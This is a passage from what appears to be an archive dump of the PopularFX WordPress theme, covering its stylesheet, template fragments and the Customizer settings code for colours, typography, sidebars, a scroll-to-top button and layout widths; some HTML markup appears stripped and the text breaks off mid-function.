.gallery-columns-9 { grid-template-columns: repeat(9, 1fr); } .gallery-caption { display: block; } /*-------------------------------------------------------------- # Woocoomerce --------------------------------------------------------------*/ .woocommerce-MyAccount-navigation ul{ list-style-type:none; margin:0px; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link{ padding: 10px 20px; border-bottom: 1px solid #616161; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link a{ color:#000000; text-decoration:none; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active{ background-color:#2196f3; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active a{ color:#ffffff; } .woocommerce-account .woocommerce-MyAccount-content{ padding:30px; } .woocommerce form .form-row input.input-text{ padding:15px; height:40px; } .woocommerce #respond input#submit, .woocommerce a.button, .woocommerce button.button, .woocommerce input.button{ color: #ffffff; background-color: #2196f3; font-weight:500; font-family:inherit; padding:10px 20px; } .woocommerce #respond input#submit:hover, .woocommerce a.button:hover, .woocommerce button.button:hover, .woocommerce input.button:hover{ color: #ffffff; background-color: #1976d2; } .woocommerce-Address-title h3{ font-weight:600; text-transform:Capitalize; } .woocommerce-account .addresses .title .edit{ text-decoration:none; } /*-------------------------------------------------------------- # Media Queries --------------------------------------------------------------*/ @media all and (max-width:768px){ .site-header{ padding:0px; } .site-branding{ width: 75%; } .menu-toggle{ display:inline-block; float:right; position: relative; top: 25px; right:20px; } .main-navigation{ float:none; display:block; background-color:#fafafa; padding: 0px; width: 100%; } .main-navigation ul{ display:block; } .main-navigation li{ display: block; } .main-navigation .menu-item-has-children:active > ul, .main-navigation .menu-item-has-children:hover > ul, .main-navigation .menu-item-has-children.focus > ul{ position: relative !important; display: block; margin-left: 20px; border-left: 0px; left: unset; } .main-navigation .menu-item-has-children .sub-menu{ background-color: initial; } .main-navigation ul .menu-item-has-children > a::before { right: 0px; top: 0px; transform: unset; content: "\25B6"; border-top-color: transparent; border-left-color: currentColor; width: 60px; padding-left: 20px; display: block; height: 100%; padding-top: 15px; border: unset; pointer-events: none; z-index: 10000; } .hidden-mobile{ display:none !important; } .menu .page_item a, .menu .menu-item a{ font-size:18px; padding: 15px 20px; border-bottom: 1px solid #eaeaea; } .site-main{ width:100% !important; padding-left: 10px; padding-right: 10px; } main, .pagelayer-content{ width: 100% !important; } .widget-area{ width:50%; float:none; margin:30px; display:block; } .site-footer{ padding:40px 15px; } input.search-submit{ margin-top:0px; } .comments-area{ padding:25px; margin: 30px 15px 15px; } .woocommerce-MyAccount-navigation ul{ padding-left:0px; } .woocommerce-account .woocommerce-MyAccount-content{ padding:30px 0px 0px; } .error-404 .widget_recent_entries, .error-404 .widget_categories, .error-404 .widget_archive{ width:100%; display:inline-block; vertical-align:top; } } @media all and (max-width:599px){ main, .pagelayer-content{ width: 100% !important; } .widget-area{ width:auto !important; float:none; margin:15px; display:block; } .article{ margin: 30px 15px 15px; } .comments-area{ padding:25px; margin: 30px 15px 15px; } .comment-reply-title small a{ display:block; margin-top:5px; margin-left:0px; } .site-footer{ padding:40px 15px; } input.search-submit{ margin-top:0px; } .error-404{ margin:20px; } .error-code{ font-size:100px; } .error-404 .search-field{ width:100%; } } sidebar.php000064400000000550152507063360006675 0ustar00 single.php000064400000001677152507063360006560 0ustar00
'' . esc_html__( 'Previous:', 'popularfx' ) . ' %title', 'next_text' => '' . esc_html__( 'Next:', 'popularfx' ) . ' %title', ) ); // If comments are open or we have at least one comment, load up the comment template. if ( comments_open() || get_comments_number() ) : comments_template(); endif; endwhile; // End of the loop. ?>

' . wp_kses_post( get_the_title() ) . '' ); } else { printf( /* translators: 1: comment count number, 2: title. */ esc_html( _nx( '%1$s thought on “%2$s”', '%1$s thoughts on “%2$s”', $popularfx_comment_count, 'comments title', 'popularfx' ) ), number_format_i18n( $popularfx_comment_count ), // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped '' . wp_kses_post( get_the_title() ) . '' ); } ?>

    'ol', 'short_ping' => true, ) ); ?>

inc/customizer.php000064400000173014152507063360010247 0ustar00 'content_width', 'tablet_breakpoint', 'mobile_breakpoint', 'template']; foreach($settings as $k => $v){ $set = get_theme_mod('popularfx_'.$v); if(empty($set)){ continue; } $css[$v] = $set; $key = is_numeric($k) ? $v : $k; // We override pagelayer settings for widths and breakpoint if(defined('PAGELAYER_VERSION') && in_array($v, ['content_width', 'tablet_breakpoint', 'mobile_breakpoint'])){ $pagelayer->settings[$key] = $set; } } $styles = ''; echo $styles; //pagelayer_print($pagelayer->settings); } add_filter('body_class', 'popularfx_body_class', 10, 2); function popularfx_body_class($classes, $class){ $classes[] = 'popularfx-body'; return $classes; } // Load the google fonts add_action('wp_footer', 'popularfx_enqueue_fonts', 4); function popularfx_enqueue_fonts(){ global $pagelayer, $popularfx; if(empty($popularfx['runtime_fonts'])){ return; } $url = []; foreach($popularfx['runtime_fonts'] as $font => $weights){ $url[] = $font.':'.implode(',', $weights); } // If no fonts are to be set, then we dont set if(empty($url)){ return false; } wp_register_style('popularfx-google-font', 'https://fonts.googleapis.com/css?family='.rawurlencode(implode('|', $url)), array(), POPULARFX_VERSION); wp_enqueue_style('popularfx-google-font'); } if(class_exists('WP_Customize_Section')){ class WP_Customize_No_Pagelayer_Section extends WP_Customize_Section { public function render(){ echo '
  • '.__('Install Pagelayer to get full access !', 'popularfx').'
  • '; } } class WP_Customize_PFX_Pro_Section extends WP_Customize_Section { public $type = 'pfxpro'; public function render() { ?> get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; $wp_customize->get_setting( 'header_textcolor' )->transport = 'postMessage'; if(empty($popularfx['license']['status'])){ $wp_customize->add_section( new WP_Customize_PFX_Pro_Section($wp_customize, 'popularfx_pro_link', array( 'capability' => 'edit_theme_options', 'priority' => 1, 'title' => __('Get More Options with PopularFX Pro', 'popularfx') ) ) ); // Install Pagelayer PRO if PRO user not installed already $wp_customize->add_setting('popularfx_pro_show', array( 'capability' => 'edit_theme_options', 'type' => 'hidden', 'autoload' => false, 'transport' => 'refresh', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control('popularfx_pro_show', array( 'label' => __('See Pro Features', 'popularfx'), 'description' => 'test', 'section' => 'popularfx_pro_link', 'type' => 'hidden', ) ); // Suggest to install Pagelayer }elseif(!defined('PAGELAYER_VERSION')){ $wp_customize->add_section( new WP_Customize_No_Pagelayer_Section($wp_customize, 'popularfx_no_pagelayer', array( 'capability' => 'edit_theme_options', 'priority' => 1, 'title' => __('Install Pagelayer', 'popularfx') ) ) ); // Install Pagelayer if not installed already $wp_customize->add_setting('popularfx_pagelayer_show', array( 'capability' => 'edit_theme_options', 'type' => 'hidden', 'autoload' => false, 'transport' => 'refresh', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control('popularfx_pagelayer_show', array( 'label' => __('Install Pagelayer', 'popularfx'), 'description' => 'test', 'section' => 'popularfx_no_pagelayer', 'type' => 'hidden', ) ); } // Loads for the left panel wp_register_style('popularfx-customizer', get_template_directory_uri().'/customizer.css', POPULARFX_VERSION); wp_enqueue_style('popularfx-customizer'); // Loads for the left pane wp_register_script('popularfx-customizer-controls', get_template_directory_uri().'/js/customizer-controls.js', array(), POPULARFX_VERSION, true); // Add custom Controls require_once dirname( __FILE__ ) . '/customizer-controls.php'; $pages = ''; $templates = ''; $html = ''; //--------------------------------- // Edit Header Footer Pages option //--------------------------------- $theme = wp_get_theme(); $template = popularfx_get_template_name(); // If there is a template in use if(!empty($template) && defined('PAGELAYER_VERSION')){ $wp_customize->add_section( 'popularfx_edit_links', array( 'capability' => 'edit_theme_options', 'priority' => 1, 'title' => __( 'Header, Footer, Templates, Pages', 'popularfx' ) ) ); // Get list of pages and pagelayer templates to edit $args = array( 'post_type' => ['page', 'pagelayer-template'], 'posts_per_page' => -1, 'meta_query' => array( array( 'key' => 'pagelayer_imported_content', 'value' => $template, 'compare' => '=' ) ) ); $query = new WP_Query($args); foreach($query->posts as $k => $v){ $a = ''.$v->post_title.''; if($v->post_type == 'page'){ $pages .= $a; }else{ $temp_type = get_post_meta( $v->ID, 'pagelayer_template_type', true ); if(in_array($temp_type, ['header', 'footer'])){ $html .= $a; }else{ $templates .= $a; } } } $pages .= '

    '.__('Note: The Pagelayer editor will open to edit these pages', 'popularfx').'

    '; // Theme Header Footer Edit option of Pagelayer $wp_customize->add_setting('popularfx_hf', array( 'capability' => 'edit_theme_options', 'type' => 'hidden', 'autoload' => false, 'transport' => 'refresh', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control('popularfx_hf', array( 'label' => __('Edit Header / Footer', 'popularfx'), 'description' => $html, 'section' => 'popularfx_edit_links', 'type' => 'hidden', ) ); if(!empty($templates)){ // Template edit options of Pagelayer $wp_customize->add_setting('popularfx_templates', array( 'capability' => 'edit_theme_options', 'type' => 'hidden', 'autoload' => false, 'transport' => 'refresh', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control('popularfx_templates', array( 'label' => __('Edit Templates', 'popularfx'), 'description' => $templates, 'section' => 'popularfx_edit_links', 'type' => 'hidden', ) ); } // Theme Page edit options of Pagelayer $wp_customize->add_setting('popularfx_pages', array( 'capability' => 'edit_theme_options', 'type' => 'hidden', 'autoload' => false, 'transport' => 'refresh', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control('popularfx_pages', array( 'label' => __('Edit Pages', 'popularfx'), 'description' => $pages, 'section' => 'popularfx_edit_links', 'type' => 'hidden', ) ); // No template }else{ $wp_customize->add_section( 'popularfx_edit_links', array( 'capability' => 'edit_theme_options', 'priority' => 1, 'title' => __( 'Header & Footer Options', 'popularfx' ) ) ); $wp_customize->add_setting('popularfx_header_bg_color', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'popularfx_header_bg_color', array( 'section' => 'popularfx_edit_links', 'description' => $html, 'settings' => 'popularfx_header_bg_color', 'label' => __('Header Background Color', 'popularfx' ) ) ) ); //Site title font size $wp_customize->add_setting( 'popularfx_site_title_size', array( 'capability' => 'edit_theme_options', 'default' => 30, 'transport' => 'refresh', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( 'popularfx_site_title_size', array( 'type' => 'number', 'section' => 'popularfx_edit_links', 'settings' => 'popularfx_site_title_size', 'label' => __( 'Font size', 'popularfx' ), 'description' => __( 'Change font size of site title', 'popularfx' ), 'input_attrs' => array( 'min' => 0, 'max' => 200, 'step' => 1, ), ) ); $wp_customize->add_setting('popularfx_site_title_color', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'popularfx_site_title_color', array( 'section' => 'popularfx_edit_links', 'settings' => 'popularfx_site_title_color', 'label' => __('Site Title Color', 'popularfx' ) ) ) ); //Tagline font size $wp_customize->add_setting( 'popularfx_tagline_size', array( 'capability' => 'edit_theme_options', 'default' => 15, 'transport' => 'refresh', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( 'popularfx_tagline_size', array( 'type' => 'number', 'section' => 'popularfx_edit_links', 'settings' => 'popularfx_tagline_size', 'label' => __( 'Font size', 'popularfx' ), 'description' => __( 'Change font size of site tagline', 'popularfx' ), 'input_attrs' => array( 'min' => 0, 'max' => 200, 'step' => 1, ), ) ); //Tagline font size $wp_customize->add_setting( 'popularfx_tagline_size', array( 'capability' => 'edit_theme_options', 'default' => 15, 'transport' => 'refresh', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( 'popularfx_tagline_size', array( 'type' => 'number', 'section' => 'popularfx_edit_links', 'settings' => 'popularfx_tagline_size', 'label' => __( 'Font size', 'popularfx' ), 'description' => __( 'Change font size of site description', 'popularfx' ), 'input_attrs' => array( 'min' => 0, 'max' => 200, 'step' => 1, ), ) ); $wp_customize->add_setting('popularfx_site_tagline_color', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'popularfx_site_tagline_color', array( 'section' => 'popularfx_edit_links', 'settings' => 'popularfx_site_tagline_color', 'label' => __('Tagline Color', 'popularfx' ) ) ) ); // Footer text $wp_customize->add_setting( 'popularfx_footer_text', array( 'capability' => 'edit_theme_options', 'default' => 'Proudly powered by WordPress | PopularFX Theme', 'transport' => 'refresh', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_footer_text', array( 'type' => 'text', 'section' => 'popularfx_edit_links', 'settings' => 'popularfx_footer_text', 'label' => __( 'Footer Text / HTML', 'popularfx' ), 'description' => __( 'Add any text to your footer. e.g. your copyright - © Site Name', 'popularfx' ), ) ); $wp_customize->add_setting('popularfx_footer_bg_color', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'popularfx_footer_bg_color', array( 'section' => 'popularfx_edit_links', 'settings' => 'popularfx_footer_bg_color', 'label' => __('Footer Background Color', 'popularfx' ) ) ) ); } $wp_customize->add_panel( 'popularfx_global', array( 'capability' => 'edit_theme_options', 'priority' => 2, 'title' => __( 'Global', 'popularfx') ) ); $wp_customize->add_panel( 'typography', array( 'capability' => 'edit_theme_options', 'title' => __( 'Typography', 'popularfx'), 'priority' => 2 ) ); // Load the options //pagelayer_load_font_options(); // Create the sections popularfx_customize_font('body', 'Body', $wp_customize); popularfx_customize_font('p', 'Paragraph', $wp_customize); popularfx_customize_font('h1', 'H1', $wp_customize); popularfx_customize_font('h2', 'H2', $wp_customize); popularfx_customize_font('h3', 'H3', $wp_customize); popularfx_customize_font('h4', 'H4', $wp_customize); popularfx_customize_font('h5', 'H5', $wp_customize); popularfx_customize_font('h6', 'H6', $wp_customize); //popularfx_customize_font('button', 'Button', $wp_customize); //--------------------------------- // Colors //--------------------------------- $wp_customize->add_section( 'popularfx_colors', array( 'capability' => 'edit_theme_options', 'priority' => 2, 'title' => __( 'Colors','popularfx'), 'panel' => 'popularfx_global' ) ); // BG Color $wp_customize->add_setting( 'popularfx_color[background]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => '#ffffff', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'popularfx_color[background]', array( 'priority' => 2, 'section' => 'popularfx_colors', 'settings' => 'popularfx_color[background]', 'label' => __( 'Background Color', 'popularfx' ), ) ) ); // text Color $wp_customize->add_setting( 'popularfx_color[text]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'popularfx_color[text]', array( 'priority' => 2, 'section' => 'popularfx_colors', 'settings' => 'popularfx_color[text]', 'label' => __( 'Text Color', 'popularfx' ), ) ) ); // link Color $wp_customize->add_setting( 'popularfx_color[link]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'popularfx_color[link]', array( 'priority' => 2, 'section' => 'popularfx_colors', 'settings' => 'popularfx_color[link]', 'label' => __( 'Link Color', 'popularfx' ), ) ) ); // link-hover Color $wp_customize->add_setting( 'popularfx_color[link-hover]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'popularfx_color[link-hover]', array( 'priority' => 2, 'section' => 'popularfx_colors', 'settings' => 'popularfx_color[link-hover]', 'label' => __( 'Link Hover Color', 'popularfx' ), ) ) ); // heading Color $wp_customize->add_setting( 'popularfx_color[heading]', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'popularfx_color[heading]', array( 'priority' => 2, 'section' => 'popularfx_colors', 'settings' => 'popularfx_color[heading]', 'label' => __( 'Heading Color (H1-H6)', 'popularfx' ), ) ) ); //--------------------------------- // Sidebar //--------------------------------- $wp_customize->add_section( 'popularfx_sidebar', array( 'capability' => 'edit_theme_options', 'priority' => 2, 'title' => __( 'Sidebar','popularfx') ) ); // Default Sidebar $wp_customize->add_setting( 'popularfx_sidebar_default', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 0, 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_sidebar_default', array( 'priority' => 1, 'type' => 'select', 'section' => 'popularfx_sidebar', 'settings' => 'popularfx_sidebar_default', 'label' => __( 'Default Sidebar', 'popularfx' ), 'description' => __( 'Default layout for the Sidebar throughout the site', 'popularfx' ), 'choices' => array( '0' => __( 'No Sidebar', 'popularfx' ), 'left' => __( 'Left Sidebar', 'popularfx' ), 'right' => __( 'Right Sidebar', 'popularfx' ), ), ) ); // Page Sidebar $wp_customize->add_setting( 'popularfx_sidebar_page', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 'default', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_sidebar_page', array( 'type' => 'select', 'section' => 'popularfx_sidebar', 'settings' => 'popularfx_sidebar_page', 'label' => __( 'Page Sidebar', 'popularfx' ), 'choices' => array( 'default' => __( 'Default', 'popularfx' ), '0' => __( 'No Sidebar', 'popularfx' ), 'left' => __( 'Left Sidebar', 'popularfx' ), 'right' => __( 'Right Sidebar', 'popularfx' ), ), ) ); // Posts Sidebar $wp_customize->add_setting( 'popularfx_sidebar_post', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 'right', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_sidebar_post', array( 'type' => 'select', 'section' => 'popularfx_sidebar', 'settings' => 'popularfx_sidebar_post', 'label' => __( 'Post Sidebar', 'popularfx' ), 'choices' => array( 'default' => __( 'Default', 'popularfx' ), '0' => __( 'No Sidebar', 'popularfx' ), 'left' => __( 'Left Sidebar', 'popularfx' ), 'right' => __( 'Right Sidebar', 'popularfx' ), ), ) ); // Archives Sidebar $wp_customize->add_setting( 'popularfx_sidebar_archives', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 'right', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_sidebar_archives', array( 'type' => 'select', 'section' => 'popularfx_sidebar', 'settings' => 'popularfx_sidebar_archives', 'label' => __( 'Archives Sidebar', 'popularfx' ), 'choices' => array( 'default' => __( 'Default', 'popularfx' ), '0' => __( 'No Sidebar', 'popularfx' ), 'left' => __( 'Left Sidebar', 'popularfx' ), 'right' => __( 'Right Sidebar', 'popularfx' ), ), ) ); // Is WooCommerce Enabled if(class_exists( 'WooCommerce' )){ // Woocommerce Sidebar $wp_customize->add_setting( 'popularfx_sidebar_woocommerce', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 0, 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( 'popularfx_sidebar_woocommerce', array( 'type' => 'select', 'section' => 'popularfx_sidebar', 'settings' => 'popularfx_sidebar_woocommerce', 'label' => __( 'Woocommerce Shop Page Sidebar', 'popularfx' ), 'choices' => array( 'default' => __( 'Default', 'popularfx' ), '0' => __( 'No Sidebar', 'popularfx' ), 'left' => __( 'Left Sidebar', 'popularfx' ), 'right' => __( 'Right Sidebar', 'popularfx' ), ), ) ); } // Sidebar Width $wp_customize->add_setting( 'popularfx_sidebar_width', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 20, 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( 'popularfx_sidebar_width', array( 'type' => 'number', 'section' => 'popularfx_sidebar', 'settings' => 'popularfx_sidebar_width', 'label' => __( 'Sidebar Width', 'popularfx' ), 'description' => __( 'Set the width of the Sidebar in percentage','popularfx'), 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ); //--------------------------------- // Scroll to Top //--------------------------------- $wp_customize->add_section( 'popularfx_scrolltop', array( 'capability' => 'edit_theme_options', 'priority' => 5, 'title' => __( 'Scroll to Top Button','popularfx'), 'panel' => 'popularfx_global' ) ); $wp_customize->add_setting( 'pfx_enable_scrolltop', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => 0, 'sanitize_callback' => 'popularfx_switch_sanitization', ) ); $wp_customize->add_control( 'pfx_enable_scrolltop', array( 'type' => 'checkbox', 'section' => 'popularfx_scrolltop', 'priority' => 1, 'settings' => 'pfx_enable_scrolltop', 'label' => __('Enable Scroll to Top', 'popularfx' ), 'input_attrs' => array( 'class' => 'popularfx-customizer-checkbox', 'style' => 'border: 1px solid #900', ), ) ); $wp_customize->add_setting( 'pfx_scrolltop_position', array( 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', 'default' => 95, ) ); $wp_customize->add_control( 'pfx_scrolltop_position', array( 'type' => 'number', 'section' => 'popularfx_scrolltop', 'settings' => 'pfx_scrolltop_position', 'label' => __( 'Button Position ', 'popularfx' ), 'description' => __( 'Set button position for scroll top button in %', 'popularfx' ), 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ); $wp_customize->add_setting( 'pfx_scrolltop_padding', array( 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', 'default' => 10, ) ); $wp_customize->add_control( 'pfx_scrolltop_padding', array( 'type' => 'number', 'section' => 'popularfx_scrolltop', 'settings' => 'pfx_scrolltop_padding', 'label' => __( 'Button Spacing ', 'popularfx' ), 'description' => __( 'Set button spacing for scroll top button in px', 'popularfx' ), 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ); $wp_customize->add_setting( 'pfx_scrolltop_iconsize', array( 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', 'default' => 15, ) ); $wp_customize->add_control( 'pfx_scrolltop_iconsize', array( 'type' => 'number', 'section' => 'popularfx_scrolltop', 'settings' => 'pfx_scrolltop_iconsize', 'label' => __( 'Icon Size', 'popularfx' ), 'description' => __( 'Set icon size for scroll top button in px', 'popularfx' ), 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ); $wp_customize->add_setting( 'pfx_scrolltop_borderwidth', array( 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', 'default' => 2, ) ); $wp_customize->add_control( 'pfx_scrolltop_borderwidth', array( 'type' => 'number', 'section' => 'popularfx_scrolltop', 'settings' => 'pfx_scrolltop_borderwidth', 'label' => __( 'Border Width', 'popularfx' ), 'description' => __( 'Set border width for scroll top button in px', 'popularfx' ), 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ); $wp_customize->add_setting( 'pfx_scrolltop_borderradius', array( 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', 'default' => 15, ) ); $wp_customize->add_control( 'pfx_scrolltop_borderradius', array( 'type' => 'number', 'section' => 'popularfx_scrolltop', 'settings' => 'pfx_scrolltop_borderradius', 'label' => __( 'Border Radius', 'popularfx' ), 'description' => __( 'Set border radius for scroll top button in px', 'popularfx' ), 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ); $wp_customize->add_setting('pfx_scrolltop_bg_color', array( 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'pfx_scrolltop_bg_color', array( 'section' => 'popularfx_scrolltop', 'description' => __('Set background color for scrolltop', 'popularfx'), 'settings' => 'pfx_scrolltop_bg_color', 'label' => __('Background Color', 'popularfx' ), 'show_opacity' => true ) ) ); $wp_customize->add_setting('pfx_scrolltop_color', array( 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'default' => '#000000', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', )); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'pfx_scrolltop_color', array( 'section' => 'popularfx_scrolltop', 'description' => __('Set icon color for scrolltop', 'popularfx'), 'settings' => 'pfx_scrolltop_color', 'label' => __('Icon Color', 'popularfx' ), 'show_opacity' => true ) ) ); $wp_customize->add_setting('pfx_scrolltop_bg_hover_color', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => '#000000', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'pfx_scrolltop_bg_hover_color', array( 'section' => 'popularfx_scrolltop', 'description' => __('Set hover background color for scrolltop', 'popularfx'), 'settings' => 'pfx_scrolltop_bg_hover_color', 'label' => __('On Hover Background Color', 'popularfx' ), 'show_opacity' => true ) ) ); $wp_customize->add_setting('pfx_scrolltop_hover_color', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => '#ffffff', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'pfx_scrolltop_hover_color', array( 'section' => 'popularfx_scrolltop', 'description' => __('Set hover color for scrolltop', 'popularfx'), 'settings' => 'pfx_scrolltop_hover_color', 'label' => __('On Hover Icon Color', 'popularfx' ), 'show_opacity' => true ) ) ); $wp_customize->add_setting('pfx_scrolltop_border_color', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => '#000000', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'pfx_scrolltop_border_color', array( 'section' => 'popularfx_scrolltop', 'description' => __('Set border color for scrolltop', 'popularfx'), 'settings' => 'pfx_scrolltop_border_color', 'label' => __('Border Color', 'popularfx' ), 'show_opacity' => true ) ) ); $wp_customize->add_setting('pfx_scrolltop_hover_border_color', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => '#000000', 'sanitize_callback' => 'popularfx_hex_rgba_sanitization', ) ); $wp_customize->add_control( new Popularfx_Customize_Alpha_Color_Control( $wp_customize, 'pfx_scrolltop_hover_border_color', array( 'section' => 'popularfx_scrolltop', 'description' => __('Set hover border color for scrolltop', 'popularfx'), 'settings' => 'pfx_scrolltop_hover_border_color', 'label' => __('On Hover Border Color', 'popularfx' ), 'show_opacity' => true ) ) ); //--------------------------------- // Container //--------------------------------- $wp_customize->add_section( 'popularfx_container', array( 'capability' => 'edit_theme_options', 'priority' => 5, 'title' => __( 'Container', 'popularfx'), 'panel' => 'popularfx_global' ) ); // Container Width $wp_customize->add_setting( 'popularfx_content_width', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => get_option('pagelayer_content_width', 1170), 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( 'popularfx_content_width', array( 'type' => 'number', 'section' => 'popularfx_container', 'settings' => 'popularfx_content_width', 'label' => __( 'Content Width', 'popularfx' ), 'description' => __( 'The width of the content container. Default is 1170px', 'popularfx' ), 'input_attrs' => array( 'min' => 800, 'step' => 1, 'placeholder' => 1170 ), ) ); // Tablet Breakpoint $wp_customize->add_setting( 'popularfx_tablet_breakpoint', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => get_option('pagelayer_tablet_breakpoint', 768), 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( 'popularfx_tablet_breakpoint', array( 'type' => 'number', 'section' => 'popularfx_container', 'settings' => 'popularfx_tablet_breakpoint', 'label' => __( 'Tablet Breakpoint', 'popularfx' ), 'description' => __( 'Set the breakpoint for tablet devices. The default breakpoint for tablet layout is 768px.','popularfx'), 'input_attrs' => array( 'min' => 500, 'step' => 1, 'placeholder' => 768 ), ) ); // Mobile Breakpoint $wp_customize->add_setting( 'popularfx_mobile_breakpoint', array( 'capability' => 'edit_theme_options', 'transport' => 'refresh', 'default' => get_option('pagelayer_mobile_breakpoint', 360), 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( 'popularfx_mobile_breakpoint', array( 'type' => 'number', 'section' => 'popularfx_container', 'settings' => 'popularfx_mobile_breakpoint', 'label' => __( 'Mobile Breakpoint', 'popularfx' ), 'description' => __( 'Set the breakpoint for mobile devices. The default breakpoint for mobile layout is 360px.','popularfx'), 'input_attrs' => array( 'min' => 200, 'step' => 1, 'placeholder' => 360 ), ) ); if ( isset( $wp_customize->selective_refresh ) ) { $wp_customize->selective_refresh->add_partial( 'blogname', array( 'selector' => '.site-title a', 'render_callback' => 'popularfx_customize_partial_blogname', ) ); $wp_customize->selective_refresh->add_partial( 'blogdescription', array( 'selector' => '.site-description', 'render_callback' => 'popularfx_customize_partial_blogdescription', ) ); } } add_action( 'customize_register', 'popularfx_customize_register', 10); // Shows the font settings function popularfx_customize_font($prefix, $text, &$wp_customize){ global $pagelayer, $pl_error; $popularfx_styles['font-weight'] = ['100', '200', '300', '400', '500', '600', '700', '800', '900', 